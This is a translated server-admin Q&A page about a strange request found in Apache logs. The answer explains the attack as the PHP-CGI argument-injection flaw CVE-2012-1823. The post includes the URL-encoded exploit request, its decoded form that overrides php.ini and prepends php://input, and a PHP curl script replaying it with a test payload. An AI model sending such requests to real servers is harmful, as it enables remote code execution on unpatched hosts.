![phppath/php 作为 URL 的行为很奇怪,似乎是一种攻击](https://linux22.com/image/803633/phppath%2Fphp%20%E4%BD%9C%E4%B8%BA%20URL%20%E7%9A%84%E8%A1%8C%E4%B8%BA%E5%BE%88%E5%A5%87%E6%80%AA%EF%BC%8C%E4%BC%BC%E4%B9%8E%E6%98%AF%E4%B8%80%E7%A7%8D%E6%94%BB%E5%87%BB.png)
警告:以下请求可能会损害您的服务器。
我在 Apache 日志中发现了一些奇怪的事情:
"POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 276 "-" "-"
这意味着:
POST /phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n
正如你所见,结果为 200,但是当我用 curl 运行它时:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://aussehenwie.de/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "<?php echo 'hacked'; ");
echo curl_exec($ch);
curl_close($ch);
?>
它返回 404。这与我从终端运行它时的情况相同。
为什么会这样?这个奇怪的 URL 又在做什么呢?
答案1
这被称为 CGI 攻击之一,当有人使用未修补或配置错误的 Web 服务器时有效。
漏洞示例: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823
它覆盖服务器上设置的 php.ini 设置并从输入/URL 执行文件。
如果您按时更新软件,或者您不使用 Web 服务器上的 CGI 接口(对于 apache,mod_cgi mod_fastcgi mod_fcgid 等,即不是 mod_php)与 PHP 交互,则无需担心。此类持续攻击/扫描具有永久性行为。